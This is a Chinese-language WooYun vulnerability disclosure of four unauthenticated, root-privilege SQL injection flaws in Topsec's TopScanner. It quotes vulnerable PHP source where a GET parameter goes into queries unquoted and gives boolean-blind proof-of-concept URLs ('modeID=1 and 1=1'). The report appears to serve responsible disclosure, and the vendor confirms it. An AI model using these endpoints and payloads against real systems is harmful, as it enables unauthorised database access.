当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0170707

漏洞标题:天融信TopScanner四处SQL注入漏洞root权限(无需登录)

相关厂商:天融信

漏洞作者: xfkxfk

提交时间:2016-01-18 09:07

修复时间:2016-04-11 16:08

公开时间:2016-04-11 16:08

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-18: 细节已通知厂商并且等待厂商处理中
2016-01-18: 厂商已经确认,细节仅向厂商公开
2016-01-21: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-03-13: 细节向核心白帽子及相关领域专家公开
2016-03-23: 细节向普通白帽子公开
2016-04-02: 细节向实习白帽子公开
2016-04-11: 细节向公众公开

简要描述:

天融信TopScanner四处root权限SQL注入漏洞(无需登录)

详细说明:

天融信TopScanner默认会对输入的参数进行转义,大部分都是用了单引号和双引号对输入参数进行了保护,但是还是有一些地方漏掉了,没有进行引号保护,导致绕过gpc进行sql注入
第一处sql注入
文件task/htmlReportShow.php

<?
//header('Content-Type: text/html; charset=utf-8');
require_once("CTaskReport.php");
require_once ('jpgraph/jpgraph.php');
require_once ('jpgraph/jpgraph_pie.php');
require_once ('jpgraph/jpgraph_pie3d.php');
$taskId = $_GET["task_id"];//任务ID号
$company = $_GET["company"];//公司名称
$creator = $_GET["creator"];//报告人姓名
$reportName = $_GET["name"];//报表名称
$modeID = $_GET["modeID"];//模板ID
$style = $_GET["style"];//报告的下载格式:1——html;2——pdf;3——rtf
?>
......
<?php
$report = new CTaskReport($taskId,$company,$creator,$name,$modeID);
$arrReportMode=array();
$arrReportMode=$report->getReportMode($modeID);
$m=1;//一级标号
foreach($arrReportMode as $mode){
$firstName=$mode['firstName'];//一级项名称
$seconNameArray=$mode['secondArrayName'];//二级项名称数组
?>


看这里$modeID = $_GET["modeID"];进入了函数$arrReportMode=$report->getReportMode($modeID);
跟进函数getReportMode,文件task/CTaskReport.php

//根据模板的ID得到报表所使用的模板所有项(二维数组)
function getReportMode($modeID){
$arrReportMode = array();
$firstMode=array();//一级项名称
$sql = "select distinct(t_reportsolofirst.RSF_ID),t_reportsolofirst.RSF_Name from t_reportsolorules,t_reportsolofirst where t_reportsolofirst.RSF_ID=t_reportsolorules.RSF_ID and t_reportsolorules.RSM_ID=$modeID";
$result = $this->dl->queryDB($this->cn,$sql);
if(!$result) return false;
while($row = $this->dl->fetchArray($result)){
$temp=array();
$temp['fid']=$row[RSF_ID];
$temp['fname']=$row[RSF_Name];
array_push($firstMode,$temp);
}
//var_dump($firstMode);
if(!$firstMode){
return null;
}
foreach($firstMode as $first){
$mode=array();//临时变量
$mode['firstName']=$first['fname'];//一级名称
$firstID=$first['fid'];
//$subsql="select * from t_reportsolosecond where RSF_ID=$firstID";
$subsql="select * from t_reportsolosecond,t_reportsolorules ";
$subsql.="where t_reportsolorules.RSM_ID=$modeID and t_reportsolorules.RSF_ID=$firstID ";
$subsql.="and t_reportsolorules.RSS_ID=t_reportsolosecond.RSS_ID";
$result = $this->dl->queryDB($this->cn,$subsql); if(!$result) return false;
$i=1;
$temp=array();
while($row = $this->dl->fetchArray($result)){
$temp[$i]=$row[RSS_Name];
$i=$i+1;
}
$mode['secondArrayName']=$temp;//二级名称数组
array_push($arrReportMode,$mode);
}
return $arrReportMode;
}


可以看到$modeID参数直接进入sql语句然后执行,导致sql注入漏洞
而且这里没有判断登录状态,所无需登录即可进行注入,见漏洞证明
第二处sql注入,文件task/rtf_report.php

<?php
require_once("phprftlite-1.1.1/rtfreport.php");
require_once("CTaskReport.php");
require_once ('jpgraph/jpgraph.php');
require_once ('jpgraph/jpgraph_pie.php');
require_once ('jpgraph/jpgraph_pie3d.php');
$taskId = $_GET["task_id"];//任务ID号
$company = $_GET["company"];//公司名称
$creator = $_GET["creator"];//报告人姓名
$reportName = $_GET["name"];//报表名称
$modeID = $_GET["modeID"];//模板ID
$style = $_GET["style"];//报告的下载格式:1——html;2——pdf;3——rtf
$rtf = new RTF_Report();
$rtf->WriteTitle('扫描结果单一任务报告',0);
$header = array('报告名称:','单位名称:','报 告 人:','生成日期:');
$width = array(40,40);
$data = array($reportName,$company,$creator,date('Y年 m月 d日'));
$rtf->InsertInfo($header,$width,$data );
$report = new CTaskReport($taskId,$company,$creator,$name,$modeID);
$arrReportMode=array();
$arrReportMode=$report->getReportMode($modeID);


同理第一处sql注入:
$modeID = $_GET["modeID"];参数进入函数$report->getReportMode($modeID),然后进入sql语句,无引号保护,导致无需登录sql注入漏洞产生
第三处sql注入,文件/task/verticalReportShow.php

<?
//header('Content-Type: text/html; charset=utf-8');
require_once("task/CTaskReport.php");
require_once("distribute/relation.php");
require_once ("jpgraph/jpgraph.php");
require_once ("jpgraph/jpgraph_pie.php");
require_once ("jpgraph/jpgraph_pie3d.php");
require_once("tcpdf_php4/config/lang/chi.php");
require_once("tcpdf_php4/tcpdf.php");
$id = $_GET["id"];//当前报告对应的id号
$modeID=$_GET["modeID"];//报表模板ID
$reportName = $_GET["name"];//报告的名称
$company = $_GET["company"];//单位名称
$reporter = $_GET["reporter"];//报告人
$user = $_GET["user"];//当前登录用户
$type = $_GET["type"];//报告类型
$style=$_GET["style"];//报告的下载格式:1——html;2——pdf;3——rtf
$ipTask = $_GET["ip_task"];//ip:taskid1-taskid2-taskid3;ip:taskid1-..... 手动选
$ipList = $_GET["ip_list"];//ip1;ip2;ip3//按月或按年
$month = $_GET["month"];//月份
$year = $_GET["year"];//年份
......
$dl = new DataLayer();
$cn = $dl->connectDB();
$re = new CRelation;
$globalReport = new CTaskReport($id,$company,$reporter,$reportName,$modeID);//("","","");
$taskArr = array();
......
$arrReportMode=array();
$arrReportMode=$globalReport->getReportMode_VH($modeID);
//var_dump($arrReportMode);
$m=1;//一级标号
foreach($arrReportMode as $mode){
$firstName=$mode['firstName'];//一级项名称
$seconNameArray=$mode['secondArrayName'];//二级项名称数组


可以看到参数$modeID=$_GET["modeID"]进入函数$globalReport->getReportMode_VH($modeID);
跟进函数getReportMode_VH,文件/task/CTaskReport.php

//根据模板的ID得到报表所使用的模板项,二维数组
//对比报告相关(纵向和横向)
function getReportMode_VH($modeID){
$arrReportMode = array();
$firstMode=array();//一级项名称
$sql ="select RO_ID,RO_Name from t_rankone where RO_ID in (select distinct(`RT_OID`) from t_ranktwo where `RT_ID`in (select t_reportrules.RT_ID from t_reportrules where t_reportrules.RS_ID=$modeID))";
//echo $sql;
$result = $this->dl->queryDB($this->cn,$sql);


可见参数$modeID进入$sql,最后进入数据库被执行,没有引号保护,导致sql注入漏洞
且这里无登录状态验证,导致无需登录即可利用注入
第四处sql注入,文件/task/vertical_rtf_report.php

<?php
require_once("task/CTaskReport.php");
require_once("distribute/relation.php");
require_once("phprftlite-1.1.1/rtfreport.php");
$dl = new DataLayer();
$cn = $dl->connectDB();
$id = $_GET["id"];//当前报告对应的id号
$modeID=$_GET["modeID"];//报表模板ID
$reportName = $_GET["name"];//报告的名称
$company = $_GET["company"];//单位名称
$reporter = $_GET["reporter"];//报告人
$user = $_GET["user"];//当前登录用户
$type = $_GET["type"];//报告类型
$style=$_GET["style"];
$ipTask = $_GET["ip_task"];//ip:taskid1-taskid2-taskid3;ip:taskid1-..... 手动选
$ipList = $_GET["ip_list"];//ip1;ip2;ip3//按月或按年
$month = $_GET["month"];//月份
$year = $_GET["year"];//年份
......
$globalReport = new CTaskReport($id,$company,$reporter,$reportName,$modeID);//("","","");
......
$arrReportMode=array();
$arrReportMode=$globalReport->getReportMode_VH($modeID);


漏洞原理同第三处sql注入,参数$modeID进入$sql,最后进入数据库被执行,没有引号保护,导致sql注入漏洞

漏洞证明:

第一处证明:

**.**.**.**/task/htmlReportShow.php?task=20120112173538&company=netpower&creator=liuyl&reportName=report1&modeID=1 and 1=1
**.**.**.**/task/htmlReportShow.php?task=20120112173538&company=netpower&creator=liuyl&reportName=report1&modeID=1 and 1=2
明显的sql盲注


1.png


第二处SQL注入

6.png


第三和第四处同第一处和第二处证明
可直接跑出数据,且为root权限:

2.png


3.png


4.png


5.png


由于是盲注,跑数据很慢,就不跑出具体数据了,而且容易就将服务器跑挂。。。
测试案例:
**.**.**.**/
**.**.**.**/
**.**.**.**/

修复方案:

按照此系统使用引号保护加登录验证即可

版权声明:转载请注明来源 xfkxfk@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2016-01-18 10:07

厂商回复:

已确认,感谢提交

最新状态:

暂无